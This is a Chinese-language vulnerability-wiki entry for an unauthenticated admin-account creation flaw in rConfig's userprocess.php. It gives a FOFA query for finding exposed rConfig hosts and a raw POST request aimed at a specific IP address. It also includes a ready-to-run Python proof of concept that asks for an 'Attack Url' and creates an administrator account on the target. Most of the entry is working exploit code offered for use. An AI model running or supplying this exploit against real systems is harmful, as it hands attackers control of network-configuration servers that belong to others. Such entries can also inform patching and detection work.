免费、自由、人人可编辑的漏洞库
,
FOFA
app="rConfig"
漏洞利用
发送如下请求包创建管理员用户 pqtest，密码为 email protected
POST /lib/crud/userprocess.php HTTP/1.1 Host: 194.149.41.11 User-Agent: python-requests/2.25.1 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Type: multipart/form-data; boundary=b1467349fcce4aa0ae8d44439f4e06bc Upgrade-Insecure-Requests: 1 Referer: http://194.149.41.11/useradmin.php Origin: http://194.149.41.11/ Cookie: PHPSESSID=pq Content-Length: 697 --b1467349fcce4aa0ae8d44439f4e06bc Content-Disposition: form-data; name="username" pqtest --b1467349fcce4aa0ae8d44439f4e06bc Content-Disposition: form-data; name="password" email protected --b1467349fcce4aa0ae8d44439f4e06bc Content-Disposition: form-data; name="passconf" email protected --b1467349fcce4aa0ae8d44439f4e06bc Content-Disposition: form-data; name="email" email protected --b1467349fcce4aa0ae8d44439f4e06bc Content-Disposition: form-data; name="ulevelid" 9 --b1467349fcce4aa0ae8d44439f4e06bc Content-Disposition: form-data; name="add" add --b1467349fcce4aa0ae8d44439f4e06bc Content-Disposition: form-data; name="editid" --b1467349fcce4aa0ae8d44439f4e06bc--
POC
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech
import base64
import requests
import random
import re
import json
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests_toolbelt.multipart.encoder import MultipartEncoder
def title():
print('+------------------------------------------')
print('+ \03334mPOC_Des: http://wiki.peiqi.tech \0330m')
print('+ \03334mGithub : https://github.com/PeiQi0 \0330m')
print('+ \03334m公众号 : PeiQi文库 \0330m')
print('+ \03334mVersion: rConfig userprocess.php 任意用户创建漏洞 \0330m')
print('+ \03336m使用格式: python3 poc.py \0330m')
print('+ \03336mUrl >>> http://xxx.xxx.xxx.xxx \0330m')
print('+------------------------------------------')
def POC_1(target_url):
vuln_url = target_url + "/lib/crud/userprocess.php"
referer = target_url + "useradmin.php"
ran_number = random.randint(1, 999)
origin = target_url
multipart_data = MultipartEncoder(
fields={
'username': 'pqtest{}'.format(ran_number),
'password': 'email protected{}'.format(ran_number),
'passconf': 'email protected{}'.format(ran_number),
'email': 'PQtest{}@test.com'.format(ran_number),
'ulevelid': '9',
'add': 'add',
'editid': ''
}
)
headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer,
"Origin": origin}
cookies = {'PHPSESSID': 'pqtest{}'.format(ran_number)}
print("\03336mo 正在创建账户..... \0330m".format(ran_number, ran_number))
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(vuln_url, data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
if "error" not in response.text:
print("\03336mo 成功创建账户 pqtest{}/email protected{} \0330m".format(ran_number, ran_number))
else:
print("\03331mx 创建失败:{} \0330m")
except Exception as e:
print("\03331mx 请求失败:{} \0330m".format(e))
sys.exit(0)
#
if __name__ == '__main__':
title()
target_url = str(input("\03335mPlease input Attack Url\nUrl >>> \0330m"))
POC_1(target_url)
免费、自由、人人(PwnWiki.Com)可编辑的漏洞库
